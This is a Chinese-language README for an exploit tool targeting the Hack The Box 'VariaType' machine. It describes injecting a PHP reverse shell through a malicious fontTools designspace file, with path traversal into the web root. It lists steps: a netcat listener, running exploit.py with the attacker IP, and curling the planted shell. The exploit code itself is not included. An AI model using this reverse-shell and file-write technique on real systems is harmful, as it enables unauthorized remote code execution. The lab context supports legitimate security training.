CVE-2025-66034-htb-ctf

VariaType 可变字体生成器漏洞利用工具

此仓库包含针对 Hack The Box 上 VariaType 机器的专用漏洞利用工具。该漏洞利用利用了 fontTools 库或 Web 应用程序处理 .designspace XML 文件和元数据插值时的漏洞，以实现远程代码执行 (RCE)。

📝 描述

该漏洞存在于字体生成过程中。通过构造恶意的 designspace 文件，我们可以将 PHP 反向 shell 载荷注入到字体的元数据中（特别是 <labelname> 字段）。当服务器处理这些文件以生成可变字体时，它会将输出写入用户定义的路径，从而允许我们将 .php shell 放置在 web 根目录中。

🛠️ 特性

• 自动字体生成：使用 fontTools 创建有效的 source-light.ttf 和 source-regular.ttf 主字体。
• XML 注入：生成一个包含 CDATA 包裹的 PHP 载荷的恶意 designspace 文件。
• 路径遍历/任意文件写入：尝试将生成的“字体”保存为公共目录中的 .php 文件。
• 随机化：生成唯一的 shell 名称以避免冲突。

🚀 需求

您必须安装 Python 3 以及以下库：

pip install fontTools requests

💻 使用方法

1. 启动监听器

在您的本地机器（或 Pwnbox）上启动 Netcat 监听器：

nc -lvnp 4444

2. 运行漏洞利用工具

通过提供您的 HTB VPN IP 和监听端口执行脚本：

python3 exploit.py --ip <YOUR_IP> --port 4444

3. 触发 shell

如果上传返回 200 OK（有时甚至是 500，如果处理在错误发生之前完成），脚本将提供文件名。通过 curl 或浏览器访问：

curl http://portal.variatype.htb/shell_xxxxxx.php

⚙️ 参数

⚠️ 免责声明

此脚本仅用于教育目的和授权的渗透测试。未经授权访问或攻击目标是违法的。

如何使用此 README：

1. 将上述内容保存为与脚本相同文件夹中的 README.md。
2. 确保您的脚本命名为 exploit.py，或更新上述命令中的文件名。